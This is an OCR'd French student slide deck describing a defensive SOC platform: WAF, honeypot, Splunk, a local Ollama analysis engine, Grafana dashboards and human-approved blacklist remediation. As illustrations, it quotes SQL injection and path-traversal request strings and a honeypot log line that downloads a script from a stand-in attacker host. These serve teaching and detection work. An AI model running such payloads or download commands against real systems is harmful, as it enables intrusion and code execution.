{ PROJET ACADEMIQUE // 2025-2026

CYBER

CHAOS
ARENA

Plateforme SOC intelligente

Détection -+ Analyse IA - Visualisation + Remédiation
REALISE PAR ENCADRE PAR
Laamri Sayf eddine Pr. Ali Azougaghe

Asma Bensassi Nour

r{a”nqal3ac". ANNEE UNIVERSITAIRE
Oussama Bagy 2025 — 2026

Ikram Laabouki

manuelle

soc //

RUN @x77A2

PORTS 86,443

\

UTC 18:42

SEV 11

NODES-©6

01



02 / CONTEXTE

Contexte et problematique

Menaces en hausse Détection seule, insuffisante Le SOC doit décider
Attaques web et systemes plus fréquentes, plus Les approches classiques s'arrétent a l'alerte, Détecter, analyser, visualiser, et aider a la
automatisées, plus variées. sans contexte ni décision. remédiation.
==
e = al
ATTAQUANT SYSTEME CIBLE socC
Payloads, scans, bruteforce Application web - API - Hbte Observe, analyse, décide

PROBLEMATIQUE Comment suivre une attaque de bout en bout, de la requéte initiale a la décision de remédiation ?
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https://canva.link/xoe0p6r9zgcn9ae

03 / OBJECTIFS

Six objectifs, une chaine SOC complete

Détection temps réel
NGINX + WAF ModSecurity, regles OWASP

CRS sur chaque requéte entrante.

Visualisation Grafana
Dashboards SOC : IP sources, types
d'attaques, MITRE, criticité.

i
=)

Redirection honeypot
Isolation des comportements suspects dans un

environnement piege.

Iml
L

Aide a la décision SOC

L'analyste consulte le rapport |IA et choisit

I'action de remédiation.

I
) B
o

Analyse |IA locale
Ollama classifie l'attaque et génere un rapport
JSON structuré.

Remédiation réversible
Blacklist manuelle, rollback en un clic pour

neutraliser les faux positifs.
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04 / ARCHITECTURE

Architecture globale du SOC

e TRAFIC NORMAL — APPLICATION REELLE e TRAFIC SUSPECT - HONEYPOT
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Application réelle
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05 / PASSERELLE

Passerelle de sécurité NGINX/WAF

Reverse proxy NGINX

Point d'entrée unique du trafic vers les applications back-end.

WAF ModSecurity
Reégles OWASP CRS appliquées en temps réel a chaque requéte.

Détection des payloads suspects

SQLi - XSS - Path traversal - Brute force - Command injection.

Routage intelligent

Application réelle ou honeypot selon le verdict du WAF.

BARRIERE DE FILTRAGE

GET /login

POST /api

GET /?2id=1' OR 1=1
GET /../../etc/passwd

GET /search

VERDICT

® ALLOW ® TRAP

WAFE -

-~ APP /login
-~ APP /api
— HONEYPOT
— HONEYPOT

— APP /search

REGLES

OWASP CRS v4
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05 / PASSERELLE

Passerelle de sécurité NGINX/WAF

Reverse proxy NGINX

Point d'entrée unique du trafic vers les applications back-end.

WAF ModSecurity
Reégles OWASP CRS appliquées en temps réel a chaque requéte.

Détection des payloads suspects

SQLi - XSS - Path traversal - Brute force - Command injection.

Routage intelligent

Application réelle ou honeypot selon le verdict du WAF.

BARRIERE DE FILTRAGE

GET /login

POST /api

GET /?2id=1' OR 1=1
GET /../../etc/passwd

GET /search

VERDICT

® ALLOW ® TRAP

WAFE -

-~ APP /login
-~ APP /api
— HONEYPOT
— HONEYPOT

— APP /search

REGLES

OWASP CRS v4
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06 / COMPARAISON

Utilisateur normal vs attaquant

e UTILISATEUR NORMAL e ATTAQUANT
> ldentifiants valides > Payload suspect
> Requétes conformes > Comportement anormal
> Comportement attendu > Détection WAF déclenchée
ROUTE APPLICATION REELLE ROUTE HONEYPOT
FAMILLES DETECTEES SQL INJECTION BRUTE FORCE XSS PATH TRAVERSAL
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07 / HONEYPOT

Honeypot et environnement piégeée

l— —I MISSION
TRAP ACTIVE . . ' c ' - -
: Attirer, isoler et observer |'attaquant — sans risque pour l'application

reelle.

TYPES DE COMPORTEMENTS DETECTES

& o= 01 - ExEC 02 - FILE
M =) Command execution Sensitive file access
whoami - curl - wget /etc/passwd - /etc/shadow
HONEYPOT
03 - PRIV 04 - NET
Privilege escalation Network reconnaissance
K/V:;\”@ sudo - su - setuid nmap ° ping - netcat
\=_)
[12:08:01] $ whoami
[12:08:04] $ cat /etc/passwd
[12:08:09] $ wget http://evil.tld/x.sh
L _|


https://canva.link/xoe0p6r9zgcn9ae

08 / DEMONSTRATION

Exemple d'attaque observee dans le honeypot

T‘ FLUX DES EVENEMENTS
r--J| 01
Honeypot
| —
capture des commandes
BANK INTERNAL v2.4.1
Acces reserve au personnel autorise
02 .
Logs structurés
¢ Connexion etablie : 2026-05-13 22:50:15 timestamp - src ip - cmd
e Utilisateur : ahmed.benali [employe] .
| ® Departement : Operations
e Session chiffree : TLS 1.3
Tapez 'help' pour voir les commandes disponibles.
ahmed.benali@atlas-bank-srv:~% 1s 5
notes. txt
ahmed.benalifatlas-bank-srv:~% whoami Splunk . .
ahmed . benali centralisation & index

ahmed.benali@atlas-bank-srv:~% cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

admin:x:1000:1000:System Admin:/home/admin:/bin/bash
ahmed.benali:x:1001:1001:Ahmed Benali:/home/ahmed.benali:/bin/bash
fatima.zahra:x:1002:1002:Fatima Zahra:/home/fatima.zahra:/bin/bash
youssef .malik:x:1003:1003:Youssef Malik:/home/youssef.malik:/bin/bash
ahmed.benali@atlas-bank-srv:~% sudo cat /home/admin/credentials.txt
sudo: Access denied. Contact your administrator.
ahmed.benali@atlas-bank-srv:~% 1s /home/admin

ls: cannot open directory '/home/admin': Permission denied
ahmed.benali@atlas-bank-srv:~% su admin

su: Authentication failure

ahmed . benaliiat las-bank-srv:~$ ||



09 / COLLECTE

Splunk — collecte et centralisation des logs

01

Collecte des logs

forwarders & ingestion
LOG CENTRALIZATION

73 NGINX + WAF

aaaaaaaa dit modsec 02
Recherche des événements
- SPL - filters - time-range
E Honeypot events - search - correlation
commands - file - net
03
—————————————————————————————————————— - o
Suivi des incidents

corrélation - timeline
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09 / COLLECTE

Splunk — collecte et centralisation des logs

01

Collecte des logs

forwarders & ingestion

Cyber Chaos Arena - Login Security Dashboard o e e

Dastibosrd SOC pour visusliser les dwénements de login générés par 1a page Atlas Bank : UtISAteUrs ROFMALN, COMPOMEMENTS SUSPECTS, redifecions honeypot et crticind.

Evénements suspecis

Suspicious | Honaypot | SOLMap

Total des événements login

85

Tontathos 60 bogin colpctios.

IF sources uniques

Décisions de redirection : Real App vs Honeypot

=

Répanition par statut

W cownt |

honeypot

decision

Timeline des tentatives login

0

4

Ao IP clrsarneios

Sapickous_peyioad_or_tool

02

Recherche des événements

SPL

Alertes normalisées pour Ai

_time =

2826-85-13

2826-85-13

2026-05-13

2026-85-13

2826-05-13

2026-05-13

] 2026-05-13

22

22:2

22:2

- 88

:88

H: ]

source_ip =

172.17.8.2

172.17.0.2

filters

event =
command_execution
command_execution

failed_login

command_execution
failed_login
failed_login

command_execution

time-range

count

(5]

time_window

-
-

(%]

inutes

inutes

nutes

inutes

inutes

nutes

severity

-
-

medium
medium

medium

medium
medium
medium

medium
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Suivi des incidents

corrélation timeline
= Timeline des éwénements runtime
400
200
I. Ll.l Lk
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= Top commandes exécutées - Litilisateurs observés
3000
4
. -]
2 2000
£ B counm = W count
£ 1000
¥=0 00 =0 1000 1250 1500 ahmed Banalk Pl
count usee_clean
usernames
source_module = =

oussama_honeypot_runtime

oussama_honeypot_runtime

ikram_login_gateway admin OR
1=1
oussama_honeypot_runtime
ikram_login_gateway fFake3
ikram_login_gateway admin

oussama_honeypot_runtime
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01 Plateforme open-source exécutant des
modeles de langage (LLM) via une APl REST,
facilitant l'intégration IA sans dépendance
cloud.

02 Utilisation du modele compact de Google,
optimisé pour la détection efficace des
schémas d'attaque.

Fonctionne comme moteur d'analyse IA
pour traiter et qualifier les alertes de
cybersécurité normalisées.

confidentialité des données grace au
traitement local , faible latence, intégration
simplifiee avec Flask et genération de
réponses JSON structurées.
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OLLAMA AU COcUR DU SO0OC -
OBJcCTIF De L ANALYSE IA

RECEPTION DES
ALERTES / "\
NORMALISEES Hﬁ
NI E)
ANALYSE
CONTEXTUELLE
APPROFONDIE
o -
REMEDIATION waior £

AUTOMATISEE | /1~
ET DECISION -~ ()

GENERATION DE
JSON STRUCTURE

OLLAMA ST Lc MOTEUR D'IA LOCAL CENTRAL DE NOTRE PLATESFrORMe SOC. SA MISSION ST Dc TRANSFORMER LES
ALerTeS BRUTeS €N INTelLLIGeNCe ACTIONNABLeE, PerRMeTTANT UNe ReMeDIATION RAPIDe €T eCLAIREE.
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rapport genere par I'lA

Apres la réception des alertes normalisées, notre moteur d'analyse IA, Ollama, intervient comme le
cerveau central de la chaine SOC. Son réle est de transformer ces données brutes en renseignements
actionnable

{ "event type": "path traversal", "severity":

"critical', "src 1p": "10.79.241.63",
"attack type":"Directory Traversal", "mitre":
"T1083 — File and Directory Discovery",
"confidence": 98, "recommendation": "Block
source IP and investigate host", "action":

nban_ipn }

01. Enrichissement des Données

Identification précise du type d'attaque (SQLi, Brute Force), de
sa tactique, et mapping aux techniques MITRE ATT&CK.

02. Evaluation du Risque

Génération d'une sévérité (severity), d'un score de confiance
(confidence) et d'un score de risque (risk_score) pour chaque
alerte.

Recommandations & Actions

Proposition d'actions de remédiation spécifiques et standardisées
pour guider les équipes de sécurité ou déclencher des
automatisations.
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REMeDIATION &
AUTOMATISATION (SOAR)

Blacklist dynamique

Ajout/suppression d'IP via fichier utilisé par NGINX;
rechargement dynamique.

Redirection vers honeypot

Orienter les sources suspectes pour observation plutot
que blocage immeédiat.

& = Il
-
L e AT ‘ d e @
, l . v -
: — - ‘ .
- - i
4 s =
. W o ' \ | |
e O - 1
- — B . =
oom e o, @ |  am==
20s. . sl Py .-- =

OAR

SECURITY ORCHESTRATION, AUTOMATION
AND RESPONSE
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/ RAPPORT IA

ollama report 3a9l.json ® SEV CRITICAL

TYPE D'ATTAQUE

Directory Traversal

{ "event type": "path traversal", "severity": "critical",
— e MITRE T1083

"src ip": "10.79.241.63", "attack type":"Directory

Traversal", "mitre": "T1083 — File and Directory R —

Discovery", "confidence": 98, "recommendation": "Block Critical - 98%

source IP and investigate host", "action": "ban ip" }
RECOMMANDATION
Block source IP & investigate host
[action: ban_ip]

® L'IA ne bloque pas. Elle propose. ® Elle assiste I'analyste SOC. ® | 'humain décide de la remédiation.
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12 / PIPELINE

Chaine de visualisation SOC

i.'lm

+ "ﬂfﬂhﬂ 1ﬂ'1hr||l@
mln r'*r"n_:;

Studarnt . —
O
DEFCHSE

1 L = F ﬂ’!

r“- ORMVRAH
-~ Cisco GHS3

o oz Breasing LF
.l'.h-
e
Logstash E O
. Frowalh = Gprsslieg Srdees. o H1UGSERAE
Rapports JSON Logstash Elasticsearch Grafana +

LOGSTASH ELASTICSEARCH GRAFANA

Recoit le rapport JSON, applique les filtres, Indexe les événements et autorise la recherche en Affiche les tableaux de bord SOC en théme sombre,
normalise le schéma. quasi temps réel. lisible 24/7.
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13 / DASHBOARD

Validation de la visualisation

asma@asma:~/cyber-chaos-arena-asma$ curl -1 -X POST http://localhost:8088 \
-H "Content-Type: application/json™ \

-d '{
"source_type": "test visualisation”,
"source_owner": "test local”,

"event_type": "path_traversal”,

"severity": "critical”,

"src_ip": "10.79.241.63",

"attack_type": "Directory Traversal",

"mitre"”: "T1083 - File and Directory Discovery"”,

"risk_score": 9,
"confidence": 98,

"message": "Test report sent to Logstash for visualization”,
"recommendation”: "Block source IP and investigate host",
"action": "ban_ip"

}'I
HTTP/1.1 280 OK
content-length: 2

content-type: text/plain
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13 / DASHBOARD

Tableau de bord SOC

Volume des événements de sécurite Top 10 IP sources
0000 250 230
™ fuy
| || (1 200 184
20000 ‘ (1]
h ‘ | 150
| ag
10000 ' ! .
i | !| - a4 an
2]
‘ | ‘ V 0 . : : :
(] L 1
0507 D0:00 0508 DO0:-00 0505 D000 D50 D000 05T D000 0512 D0-00 0513 00:00 721702 1078241683  unknown 0D NS4S WFD241LE 1BZIGELZD MWAISENL30 19216BL40  1D2I6B.S
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Types d'attagues detectaes Repartition par criticita

2 25 17 23 8 88 22 8 1 3 1 31 121

suspi... ssh_b.. sgl_imj.. securi.. rce_at.. privile.. path_t.. netwo.. inform.. crede.. comm.. ai_rep... == medium == high == critical == low

Dernieres alertes importantes H Technigues MITRE detectees

] . Tl
Type d'attague Criticite IP source  Type IA Message 134 126
command_sxecutio high TF207.0.2 Intrusion Attermpt Activity detected with
rce_attempt high 1720702 Command Execution Confirmed command
rce_attempt high 1F207.0.2 Reconnaizsance/Command Execution Attacker performed b
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— 14 / REMEDIATION

Remédiation manuelle et rollback

B1 - ALERTE

A\

Alerte Grafana

dashboard SOC

B2 -« HUMAIN

VA

Analyse SOC

validation analyste

30

Alertes 1A Critiques

18 0

Ajouter a la blacklist

Décision basée sur Grafana

7
B3 - ACTION

9

Ajout blacklist

IP source

ROLLBACK = RESTORE ACCESS

Derniere action de remediation

blacklist_remove
18.79.201.251

sudo -n fusr/local/bin/cyberchacs-blacklist-add 18.79.2041.251

Alertes IA  Historique

[ HicH Reconnaissance | 172.17.0.2

Validation humaine obligatoire

B4 - ISOLATION

=)

Redirection honeypot

e - (Y o - 9 A&
trartlic 1sole

removed_from_blacklist
sudo -n fusr/local/bin/cyberchaos-blacklist-remove 18.79.241.251

Suppression manuelle depuis l'interface. output=[!] nginx introuvabl
e sur cette machine, suppression faite dans le fichier blacklist seu
lement. [+] IP retirée de la blacklist : 10.79.241.251

85 - ROLLBACK

&

Suppression possible

faux positif

- - =
- wm E
- L
- - o e
T - B Wm O R wE e e
mmeem e s O O R e e e o Em O e O O N N N N N N o mm  E a E E  E EN I O e e moE

Réversible — pas de point de non-retour
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15 / VALIDATION

Validation de bout en bout

SCENARIO REJOUE

e VALIDE
T+00 Attaque entrante (path traversal)

r+01  Détection NGINX/WAF - redirection honeypot Collecte Splunk

T+02 Collecte Splunk - index temps réel Analyse Ollama

1+04  Analyse Ollama - rapport JSON Envoi Logstash

T+05 Logstash - Elasticsearch - Grafana

Affichage Grafana
Ajout blacklist

T+06 Décision SOC - remédiation manuelle

Redirection honeypot
Rollback testé




16 / CONCLUSION

Conclusion et perspectives

CONCLUSION PERSPECTIVES
> Chaine SOC compléte — détection, IA, visualisation, remédiation. -~ Corrélation automatique des événements multi-sources.
> Architecture modulaire et démontrable, composant par composant. - Enrichissement du moteur de regles de détection.

> Protection active de I'application réelle via le honeypot.
> Décision finale humaine, garantie par le rollback. - Alertes temps réel avancées - canaux messagerie / e-mail.

- Classification MITRE plus fine et plus exhaustive.

t  Une plateforme SOC intelligente, modulaire et orientée décision.

- Remédiation partiellement automatisée, sous validation humaine.
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